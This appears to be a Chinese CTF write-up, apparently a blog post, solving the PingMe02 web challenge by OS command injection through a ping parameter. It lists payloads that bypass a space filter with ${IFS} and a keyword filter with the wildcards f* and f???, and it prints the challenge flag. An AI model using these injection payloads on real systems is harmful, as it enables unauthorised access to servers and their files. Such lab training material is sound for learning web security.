• 经典ctf ping题目详解 青少年CTF-WEB-PingMe02


    题目环境:
    image.png

    根据题目名称可知
    这是一道CTF-WEB方向常考的知识点:ping地址

    随便ping一个地址
    查看接受的数据包
    ?ip=0.0.0.0
    image.png

    有回显数据,尝试列出目录文件
    堆叠命令使用’;'作为命令之间的连接符,当上一个命令完成后,继续执行下一个命令

    使用堆叠命令
    列出此目录下的文件
    ?ip=0.0.0.0;ls
    image.png

    ls是Linux系统里面的列出目录文件的命令
    索性ls没有被过滤

    查看隐藏文件
    ?ip=0.0.0.0;ls -a
    image.png

    space空格被过滤了

    使用IFS绕过空格

    IFS是Linux里面的环境变量,是其内部字段分隔符
    可通过${IFS}绕过空格
    $IFS$1-n(n>0的正整数)也可绕过空格

    ?ip=0.0.0.0;ls${IFS}-a
    image.png

    成功绕多空格
    这里猜测没在根目录下,所以才没发现flag

    查看当前路径
    ?ip=0.0.0.0;pwd
    image.png

    pwd是Linux系统里面查看当前目录/路径的命令
    /var/www/html
    可知现在是在html目录下
    去看’/'根目录下是否有flag的存在

    查看根目录下的文件
    ?ip=0.0.0.0;ls${IFS}/
    image.png

    发现根目录下存在flag文件

    查看根目录下flag文件的内容
    ?ip=0.0.0.0;cat${IFS}/flag
    image.png

    cat是Linux系统里面最常见的查看文件内容的命令
    这里可以使用其它查看文件内容的命令
    less、more、nl等等

    使用less查看flag内容
    ?ip=0.0.0.0;less${IFS}/flag
    image.png

    flag被过滤
    可使用f*和f???进行绕过(注:f后边有几个字符就用几个?进行代替)
    代表f开头的文件
    因为f开头的文件只有flag这一个文件,所以查的就是flag

    ?ip=0.0.0.0;less${IFS}/f*
    image.png
    ?ip=0.0.0.0;less${IFS}/f???
    image.png
    使用more查看flag内容
    ?ip=0.0.0.0;more${IFS}/f*
    image.png
    ?ip=0.0.0.0;more${IFS}/f???
    image.png
    使用nl查看flag内容
    ?ip=0.0.0.0;nl${IFS}/f*
    image.png
    ?ip=0.0.0.0;nl${IFS}/f???
    image.png
    得到flag:
    qsnctf{3c6173ea-c3e2-4a49-858b-e9897e69cee3}

    当然Linux系统查看文件内容的命令还有很多,这里就举着三个例子了
    如果想效率更更高,我们还可以自己生成Linux常见列出目录文件和查看文件等命令和常用字符以及关键字的字典,并使用BurpSuite进行爆破查看那个命令和字符以及关键字的过滤情况

  • 相关阅读:
    【技巧】借助Sentinel实现请求的优先处理
    裸辞,我去面试Python岗位了
    Hive——DML(Data Manipulation Language)数据操作语句用法详解
    【408数据结构与算法】—直接插入排序(十五)
    【每日前端面经】2024-03-11
    电商直播产业在成都直播基地加速成势 落地天府兴隆湖!
    Python自学教程1-安装pycharm和执行环境
    不见他过: 职场经验
    SpringMVC 学习(八)整合SSM
    【工作总结】证书到底有什么用?
  • 原文地址:https://blog.csdn.net/m0_73734159/article/details/134481492